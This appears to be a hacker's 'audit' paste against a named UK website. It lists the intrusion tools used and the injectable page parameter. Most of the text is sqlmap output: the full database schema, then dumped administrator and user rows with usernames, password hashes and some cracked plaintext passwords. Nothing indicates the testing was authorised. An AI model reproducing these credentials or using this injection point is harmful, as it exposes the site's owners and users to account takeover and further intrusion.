Audit [abslatin]

Auditor: CyberVX

- OS:
# Kali Linux;

- TOOLS:
# NMAP;
# SQLMAP WITH HASH DECRYPTER DEFAULT METHOD WITH SUFIX;
# MACCHANGER;
# XPROBE2;
# JOHN THE RIPPER;
# JSQL;
# VPN BOOK;

TOOLS SUPPORT:
# https://hashkiller.co.uk/md5-decrypter.aspx
# http://techcens.com/admin-page-finder-online/
# https://crackstation.net/
# https://www.onlinehashcrack.com/
# https://hashkiller.co.uk/md5-decrypter.aspx

- VULNERABILITY:
# SQL INJECTION;
# INSECURE CRYPTOGRAPHIC STORAGE;
# FAILURE TO RESTRICT URL ACESS;

- TARGET:
# http://www.abslatin.co.uk
# http://www.abslatin.co.uk/node.php?id=16

========================
        REPORT 1
========================

Database: db312892314
Table: album
[3 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| IdAlbum    | int(11)      |
| ImageAlbum | varchar(200) |
| NameAlbum  | varchar(300) |
+------------+--------------+

Database: db312892314
Table: p_suscriptors
[4 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| IdSuscriptor   | int(11)      |
| MailSuscriptor | varchar(300) |
| Name           | varchar(100) |
| Nationality    | varchar(100) |
+----------------+--------------+

Database: db312892314
Table: p_album
[3 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| IdAlbum    | int(11)      |
| ImageAlbum | varchar(200) |
| NameAlbum  | varchar(300) |
+------------+--------------+

Database: db312892314
Table: p_links
[4 columns]
+-------------+---------------+
| Column      | Type          |
+-------------+---------------+
| CommentLink | varchar(1000) |
| IdLink      | int(11)       |
| NameLink    | varchar(200)  |
| URL         | varchar(500)  |
+-------------+---------------+

Database: db312892314
Table: links
[4 columns]
+-------------+---------------+
| Column      | Type          |
+-------------+---------------+
| CommentLink | varchar(1000) |
| IdLink      | int(11)       |
| NameLink    | varchar(200)  |
| URL         | varchar(500)  |
+-------------+---------------+

Database: db312892314
Table: p_events
[10 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| DateEvent       | datetime     |
| FeaturesEvent   | longtext     |
| FinishTimeEvent | time         |
| FrontPage       | int(11)      |
| Hidden          | int(11)      |
| IdEvent         | int(11)      |
| ImageMin        | varchar(200) |
| NameEvent       | varchar(500) |
| PlaceEvent      | varchar(500) |
| StartTimeEvent  | time         |
+-----------------+--------------+

Database: db312892314
Table: p_salsa
[6 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| Content    | blob         |
| DateTime   | datetime     |
| IdSalsa    | int(11)      |
| Image      | varchar(200) |
| PreContent | varchar(500) |
| TitleSalsa | varchar(100) |
+------------+--------------+

Database: db312892314
Table: p_news
[8 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| Content    | text         |
| DateTime   | datetime     |
| FrontPage  | int(11)      |
| Hidden     | int(11)      |
| IdNew      | int(11)      |
| ImageMin   | varchar(200) |
| PreContent | varchar(500) |
| TitleNew   | varchar(500) |
+------------+--------------+

Database: db312892314
Table: gallery
[5 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| footprint  | varchar(200) |
| IdAlbum    | int(11)      |
| IdPhoto    | int(11)      |
| ImageMin   | varchar(200) |
| ImageWhole | varchar(200) |
+------------+--------------+

Database: db312892314
Table: administrators
[3 columns]
+---------------+--------------+
| Column        | Type         |
+---------------+--------------+
| id            | int(11)      |
| user_name     | varchar(255) |
| user_password | varchar(60)  |
+---------------+--------------+

Database: db312892314
Table: p_gallery
[5 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| footprint  | varchar(200) |
| IdAlbum    | int(11)      |
| IdPhoto    | int(11)      |
| ImageMin   | varchar(200) |
| ImageWhole | varchar(200) |
+------------+--------------+

Database: db312892314
Table: events
[10 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| DateEvent       | date         |
| FeaturesEvent   | text         |
| FinishTimeEvent | time         |
| FrontPage       | tinyint(1)   |
| Hidden          | tinyint(1)   |
| IdEvent         | int(11)      |
| ImageMin        | varchar(200) |
| NameEvent       | varchar(500) |
| PlaceEvent      | varchar(500) |
| StartTimeEvent  | time         |
+-----------------+--------------+

Database: db312892314
Table: suscriptors
[4 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| IdSuscriptor   | int(11)      |
| MailSuscriptor | varchar(300) |
| Name           | varchar(100) |
| Nationality    | varchar(100) |
+----------------+--------------+

Database: db312892314
Table: videos
[3 columns]
+------------+---------------+
| Column     | Type          |
+------------+---------------+
| IdVideo    | int(11)       |
| TitleVideo | varchar(500)  |
| URLVideo   | varchar(1000) |
+------------+---------------+

Database: db312892314
Table: news
[8 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| Content    | text         |
| DateTime   | datetime     |
| FrontPage  | tinyint(1)   |
| Hidden     | tinyint(1)   |
| IdNew      | int(11)      |
| ImageMin   | varchar(200) |
| PreContent | varchar(500) |
| TitleNew   | varchar(500) |
+------------+--------------+

Database: db312892314
Table: salsa
[6 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| Content    | blob         |
| DateTime   | datetime     |
| IdSalsa    | int(11)      |
| Image      | varchar(200) |
| PreContent | varchar(500) |
| TitleSalsa | varchar(100) |
+------------+--------------+

Database: db312892314
Table: p_categories
[2 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| IdCategory   | int(11)      |
| NameCategory | varchar(200) |
+--------------+--------------+

Database: db312892314
Table: p_videos
[3 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| IdVideo    | int(11)      |
| TitleVideo | varchar(100) |
| URLVideo   | varchar(500) |
+------------+--------------+

Database: db312892314
Table: p_products
[11 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| DateTime    | datetime     |
| Features    | varchar(500) |
| FrontPage   | int(11)      |
| Hidden      | int(11)      |
| IdCategory  | int(11)      |
| IdProduct   | int(11)      |
| ImageMin    | varchar(200) |
| ImageWhole  | varchar(200) |
| NameProduct | varchar(100) |
| Price       | double       |
| Stock       | int(11)      |
+-------------+--------------+

Database: db312892314
Table: p_users
[3 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| IdUser       | varchar(50)  |
| NameUser     | varchar(100) |
| PasswordUser | varchar(50)  |
+--------------+--------------+

Database: db312892314
Table: users
[3 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| IdUser       | varchar(50)  |
| NameUser     | varchar(100) |
| PasswordUser | varchar(50)  |
+--------------+--------------+

===============================================================
PHASE 2:

Database: db312892314
Table: administrators
[3 entries]
+-----------+------------------------------------+
| user_name | user_password                      |
+-----------+------------------------------------+
| admin     | $P$Bstga7byV42vvh7WVT/pPFPZw6j7ET. |
| annie     | $P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0 |
| paul      | $P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB/ |
+-----------+------------------------------------+

Database: db312892314
Table: p_users
[3 entries]
+---------------+----------------------------------+
| NameUser      | PasswordUser                     |
+---------------+----------------------------------+
| Administrador | 0e4a20a448032584af3f285a2ad2d9d3 |
| Annie         | b18a7cf91d7ce5ec7c5bf54207ba7fdf |(anicita)
| polla         | 1ca13cec096718ac8ef09c57d9cd5d07 |(polla)
+---------------+----------------------------------+

Database: db312892314
Table: users
[2 entries]
+--------------------+----------------------------------+
| NameUser           | PasswordUser                     |
+--------------------+----------------------------------+
| AMAUTA CONSULTORES | 0e4a20a448032584af3f285a2ad2d9d3 |
| Annie              | c34d257b21c744ba5ed8d6863ee34b8e |
+--------------------+----------------------------------+